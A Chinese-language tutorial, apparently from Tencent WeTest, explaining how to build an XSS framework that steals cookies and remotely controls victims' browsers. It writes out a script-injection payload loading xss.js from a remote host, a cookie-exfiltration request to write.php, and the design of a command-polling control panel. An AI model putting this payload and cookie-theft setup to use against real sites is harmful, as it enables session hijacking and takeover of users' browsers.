WeTest 导读
小伙伴们是否曾有过这样邪恶的想法,能否有办法控制别人的浏览器,然后想干嘛干嘛,想想是不是有点小激动呢!其实这其中的原理并不复杂,接下来撸主就带小伙伴们深度学习下如何用XSS来控制别人的浏览器。
Demo展示
在讲述基本原理前,先一睹为快它的最终效果吧!
XMLHttpRequest对象
在学习之前,先给大家介绍下Ajax技术的主要依赖对象XMLHttpRequest。它在用XSS控制别人浏览器过程中,起着决定性作用。XMLHttpRequest对象可以在不向服务器提交整个页面的情况下,实现局部更新网页。在当页面全部加载完毕后,客户端可通过该对象向服务器请求数据,服务器端接受客户端数据并进行处理,再向客户端反馈数据。下图展示了Ajax应用模式和传统的Web应用模式的区别。
从上图可以看到,Ajax引擎在浏览器客户端端运行,承担了部分原本由服务器完成的工作,通过异步响应方式,实现网页的局部更新。但Ajax应用模式暴露了与服务器交互的细节,会引起一定的安全问题。
了解完Ajax应用模式后,我们来做一个小测试,熟悉下该对象的使用。首先创建xss.js脚本,内容如下:
其中的if模块,用来判断浏览器是否支持ActiveX控件。若支持的话,通过ActiveXObject来创建XMLHttpRequest对象,若不支持则调用XMLHttpRequest来新建。接着调用XMLHttpRequest对象的open()方法来建立对服务器的调用,其中:参数1表示请求是以GET的方式进行,参数2表示请求的地址是http://10.24.73.30/xsshunter-demo1/write.php?id=cookie,第3个参数为true,表示异步通信方式,客户端将不会等待服务器的响应。将这段js通过POST或者GET的方式传给服务器,例如:
点击提交数据后,右键浏览器查看源代码,可以看到源代码包含了这段js脚本(注:正常情况下开发同学会做XSS防御的,不会这么轻易就能提交xss.js的)。
这样就可以通过js代码中的XMLHttpRequest对象的open()方法来建立对服务器的调用。这里使用的是本地的write.php文件。接下来看看write.php到底做了哪些事。
从代码可以看出,write.php通过_SERVER['字段名']记录感染客户端的相关信息到victimInfo.hml文件,并在各个字段添加了"infoend"和"endallinfo"作为标识符。在点击提交按钮后,在10.24.73.30/xsshunter-demo1/目录下会生成由write.php创建的victimInfo.hml文件。
双击可以查看,该文件记录着感染者浏览器的ip,cookie,浏览器支持的语言类型,浏览器的用户代理,访问来源以及访问时间等信息。
到此为止,我们用一个简单的demo,通过xss.js拿到了感染用户的相关信息,但这些还远远不够之前说的控制别人的浏览器。接下来讨论如何来对感染用户的浏览器进行操作。
深度定制xss.js文件
在之前的xss.js文件结尾,输入alert('xss')和window.location="http://www.qq.com",再到test.php页面输入<script src="http://10.24.73.30/xsshunter-demo1/xss.js"></script>点击提交后,就会触发这2条语句,弹出xss弹框,点击确定后页面重定向到qq的主页。但这种变更xss.js的方法在实际的应用中非常不方便。
从用户的角度出发,我们是希望有一个可以控制的界面供我们使用和查看感染用户信息。这里就需借助XMLHttpRequest对象的onreadystatechange属性。Ajax请求的状态(readyState),具有5个可选值:0:代表未初始化的请求;1:代表一个打开的请求;2:代表一个已发出的请求;3:代表正在接收的请求;4:代表响应加载完毕。通常我们感兴趣的是响应加载完毕的请求,即readyState=4。每个状态改变时,都会触发这个onreadystatechange事件处理程序,通常会调用一个JavaScript函数来完成用户相关操作。因此需要在xss.js里面添加代码,来完成对感染用户信息通过控制面板进行操作。
创建XMLHttpRequest对象xmlhttp2并异步请求10.24.73.30/xsshunter/program/action.htm,同时对xmlhttp2的状态进行监听,如果响应加载完毕(readyState=4)并且服务器的HTTP状态正常(status=200),就可以根据服务器返回的responseText进行响应的操作。
框架的全部结构
了解完基本原理后,下面展示下整个框架的结构图:
至此,整个框架的解析就讲解完了,感兴趣的小伙伴可以下载附件内容进行实践一下哦!
提示:
1.内网用户在尝试的时候,注意ip相互间要ping得通的,并且避免使用80端口,建议使用8080。
2.本地尝试的时候,第1次需要刷新victim页面,才会响应。
参考来源:
1) https://labs.portcullis.co.uk/tools/xss-shell/
2)《XSS跨站脚本剖析与防御》邱永华著
附件:
http://pan.baidu.com/s/1bp1fsVt
腾讯WeTest是腾讯游戏官方推出的一站式游戏测试平台,用十年腾讯游戏测试经验帮助广大开发者对游戏开发全生命周期进行质量保障。腾讯WeTest提供:适配兼容测试;云端真机调试;安全测试;耗电量测试;服务器性能测试;舆情监控等服务。
点击地址:http://wetest.qq.com/立即体验!